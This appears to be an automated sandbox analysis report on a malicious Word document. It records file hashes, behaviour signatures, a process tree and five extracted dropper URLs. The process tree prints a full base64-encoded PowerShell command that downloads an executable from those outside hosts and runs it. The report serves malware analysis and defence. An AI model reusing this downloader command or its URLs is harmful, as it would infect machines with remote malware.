Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 19:01

General

  • Target

    05de04c311c404e89ae6751f259ef61d_JaffaCakes118.doc

  • Size

    160KB

  • MD5

    05de04c311c404e89ae6751f259ef61d

  • SHA1

    b35625efe34ae909139ff171e708477eadda1f6f

  • SHA256

    5b6b7894bd61356eb562f86f7b6ebbd0d44bde0ed133adbacffe224ebb53b1ac

  • SHA512

    c630b8beb11f8e04078f5621012977f32435f7507ef420e891a0f5bc65787fb359adca987c240ce8b5728170606b24fffd98c69c320ec3dde032868a8894fa75

  • SSDEEP

    3072:+977HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qfKbms7Ow9DXFMpzAK:c77HUUUUUUUUUUUUUUUUUUUT52VGemjl

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://siamnatural.com/tmp/EmC/

exe.dropper

http://chefmongiovi.com/wp/yigA/

exe.dropper

http://simplyresponsive.com/samples/3I/

exe.dropper

https://hechizosyconjurodeamor.info/wp-includes/FGF/

exe.dropper

http://visa.org.ua/wp-content/nnSZ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\05de04c311c404e89ae6751f259ef61d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAFUAQQBCAEEAWABrAFEAPQAoACcASwAnACsAJwBCAHgARABBAEEAJwApADsAJABmAEcARABBAEEAWgB4AD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABWAFEAQQBfADQAVQA9ACgAJwBoAHQAdABwADoALwAvAHMAaQBhAG0AbgBhACcAKwAnAHQAdQAnACsAJwByACcAKwAnAGEAbAAuAGMAbwAnACsAJwBtAC8AdABtACcAKwAnAHAALwBFAG0AQwAnACsAJwAvAEAAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwBjAGgAZQBmAG0AbwAnACsAJwBuACcAKwAnAGcAJwArACcAaQBvAHYAJwArACcAaQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwAnACsAJwBwACcAKwAnAC8AJwArACcAeQBpAGcAQQAvACcAKwAnAEAAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBzAGkAbQBwAGwAeQAnACsAJwByAGUAcwAnACsAJwBwAG8AJwArACcAbgBzACcAKwAnAGkAdgAnACsAJwBlAC4AYwBvACcAKwAnAG0ALwBzACcAKwAnAGEAbQBwACcAKwAnAGwAJwArACcAZQBzAC8AMwBJACcAKwAnAC8AQABoAHQAdABwAHMAOgAvACcAKwAnAC8AaABlACcAKwAnAGMAaABpACcAKwAnAHoAbwAnACsAJwBzAHkAYwAnACsAJwBvAG4AagB1AHIAbwAnACsAJwBkAGUAYQBtAG8AcgAuACcAKwAnAGkAbgBmAG8ALwAnACsAJwB3AHAALQBpAG4AYwBsAHUAZABlACcAKwAnAHMALwBGAEcAJwArACcARgAvAEAAJwArACcAaAB0AHQAcAA6AC8ALwB2AGkAJwArACcAcwBhAC4AbwByAGcALgB1AGEALwB3AHAALQBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8AbgAnACsAJwBuAFMAWgAvACcAKQAuACgAJwBTAHAAbAAnACsAJwBpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABKAEQAWABCAEMAQwBCAF8APQAoACcAWgBBAFgAYwBBAEEAJwArACcAQgAnACkAOwAkAG8AawBfAFUAMQA0AFUAWgAgAD0AIAAoACcAOQAnACsAJwA2ADYAJwApADsAJABuAEEAQQBDAEEANABCAD0AKAAnAEUAJwArACcAQgB3AFoAXwAxACcAKQA7ACQAVABDAHcAWAB3AEEAVQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABvAGsAXwBVADEANABVAFoAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAEEAUQB3AEIAXwBRACAAaQBuACAAJABWAFEAQQBfADQAVQApAHsAdAByAHkAewAkAGYARwBEAEEAQQBaAHgALgAoACcARAAnACsAJwBvAHcAbgBsAG8AYQBkACcAKwAnAEYAJwArACcAaQBsAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAFMAQQBRAHcAQgBfAFEALAAgACQAVABDAHcAWAB3AEEAVQBvACkAOwAkAGYAXwBBAGMAQwAxAEcAPQAoACcAdAAnACsAJwB3AFUAVQBRAFgARAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAVABDAHcAWAB3AEEAVQBvACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFQAQwB3AFgAdwBBAFUAbwA7ACQASABRAEEAQgBBAEQAPQAoACcAcQBvADEAJwArACcAQQBVAEcAQgAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBVAEcAUQBBAEEARwB3AD0AKAAnAEsAJwArACcAVQAxAFUAQgBBADEAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7cdcd4b6fa8c81da30aedd37459bf9fc

      SHA1

      7e35b4521e610524b65092ecfcbc1ae02bcd4bcf

      SHA256

      fa667eee8fa9bf910ae4fddc95aa2b7741422bb1c9f63afd363184124c3549e8

      SHA512

      7fadb022399d94ccd7077f618dc2be201d1074c7fb7975680c2202f4192acd40cada417d4e837f2616e0afcbcace1df74db367d64e6c52a4a709f360e8676e78

    • memory/2440-0-0x000000002FC31000-0x000000002FC32000-memory.dmp

      Filesize

      4KB

    • memory/2440-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2440-2-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2440-8-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-21-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2440-22-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-23-0x0000000006C10000-0x0000000006D10000-memory.dmp

      Filesize

      1024KB

    • memory/2440-40-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2440-41-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2764-15-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

      Filesize

      2.9MB

    • memory/2764-16-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB